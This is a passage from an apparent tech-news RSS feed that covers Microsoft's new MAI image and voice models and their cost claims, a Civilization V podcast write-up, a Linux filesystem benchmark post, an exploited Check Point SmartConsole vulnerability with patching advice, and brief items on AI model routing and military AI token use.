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<pubDate>Fri, 24 Jul 2026 05:48:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building effective frameworks could help promote ‘deep thinking’ rather than ‘cognitive atrophy’]]></content:encoded>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
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<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[HPR4690: Playing Civilization V, Part 14]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my D...]]></description>
<link>https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</guid>
<pubDate>Fri, 24 Jul 2026 02:04:41 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.</p>

<h1>Playing Civilization V, Part 14</h1>

<p>Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.</p>

<p>At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.</p>

<p>I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.</p>

<p>This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.</p>

<h3>Links</h3>
<ul>
<li><a href="https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/">https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/</a></li>
</ul>


<p><a href="https://hackerpublicradio.org/eps/hpr4690/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]></title>
<description><![CDATA[Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, C...]]></description>
<link>https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</guid>
<pubDate>Thu, 23 Jul 2026 22:25:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232" target="_blank" rel="noreferrer noopener">allows unauthenticated attackers</a> to assume full admin privileges, is now being exploited in the wild. The vulnerability, <a href="https://github.com/advisories/ghsa-m2xx-23gx-734v" target="_blank" rel="noreferrer noopener">CVE-2026-16232</a>, was given a CVSS score of 9.3.</p>



<p class="wp-block-paragraph">In its security alert, <a href="https://support.checkpoint.com/results/sk/sk185169/" target="_blank" rel="noreferrer noopener">Check Point described</a> the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”</p>



<p class="wp-block-paragraph">The company has <a href="https://sc1.checkpoint.com/documents/Jumbo_HFA/R82.10/R82.10/R82.10-List-of-all-Resolved-Issues.htm" target="_blank" rel="noreferrer noopener">released a patch</a> for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. <a href="https://www.csoonline.com/article/4195311/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber.html" target="_blank">Check Point</a> said that the exploit has impacted ten of its customers, all of whom it had notified directly.</p>



<h2 class="wp-block-heading">Far worse than most</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said this security hole is far worse than most.</p>



<p class="wp-block-paragraph">“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”</p>



<p class="wp-block-paragraph">In an interview with CSO Online, <a href="https://www.linkedin.com/in/lotem-finkelstein-05797a85/" target="_blank" rel="noreferrer noopener">Lotem Finkelstein</a>, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.</p>



<p class="wp-block-paragraph">But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.</p>



<p class="wp-block-paragraph">The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.</p>



<p class="wp-block-paragraph">Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”</p>



<h2 class="wp-block-heading">Challenges of IP address restrictions</h2>



<p class="wp-block-paragraph">While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.</p>



<p class="wp-block-paragraph">“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/pieter-arntz-04164b2/" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”</p>



<h2 class="wp-block-heading">Ideal platform for long-term attacks</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.</p>



<p class="wp-block-paragraph">“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”</p>



<p class="wp-block-paragraph">IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. </p>



<p class="wp-block-paragraph">“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”</p>



<p class="wp-block-paragraph">And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”</p>
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<title><![CDATA[Meta Develops Switchboard to Route Simpler AI Tasks to Cheaper Models]]></title>
<description><![CDATA[Meta is reportedly developing Switchboard, an internal AI router designed to send simpler tasks to cheaper models and reduce rising token costs.
The post Meta Develops Switchboard to Route Simpler AI Tasks to Cheaper Models appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3690073/it-nachrichten/meta-develops-switchboard-to-route-simpler-ai-tasks-to-cheaper-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690073/it-nachrichten/meta-develops-switchboard-to-route-simpler-ai-tasks-to-cheaper-models/</guid>
<pubDate>Thu, 23 Jul 2026 21:23:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta is reportedly developing Switchboard, an internal AI router designed to send simpler tasks to cheaper models and reduce rising token costs.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-meta-switchboard-ai-model-router/">Meta Develops Switchboard to Route Simpler AI Tasks to Cheaper Models</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[Ask Sage zu oft gefragt: US-Militär verbrennt KI-Jahreskontingent in 1 Monat]]></title>
<description><![CDATA[In den USA steht Angehörigen des Militärs die KI-Plattform Ask Sage zur Verfügung, für die ein Jahresbudget von 100 Millionen Token angeschafft wurde. Doch das war nach wenigen Wochen aufgebraucht – woran das Militär nicht ganz unschuldig ist.weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3690037/it-nachrichten/ask-sage-zu-oft-gefragt-us-militaer-verbrennt-ki-jahreskontingent-in-1-monat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690037/it-nachrichten/ask-sage-zu-oft-gefragt-us-militaer-verbrennt-ki-jahreskontingent-in-1-monat/</guid>
<pubDate>Thu, 23 Jul 2026 21:04:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
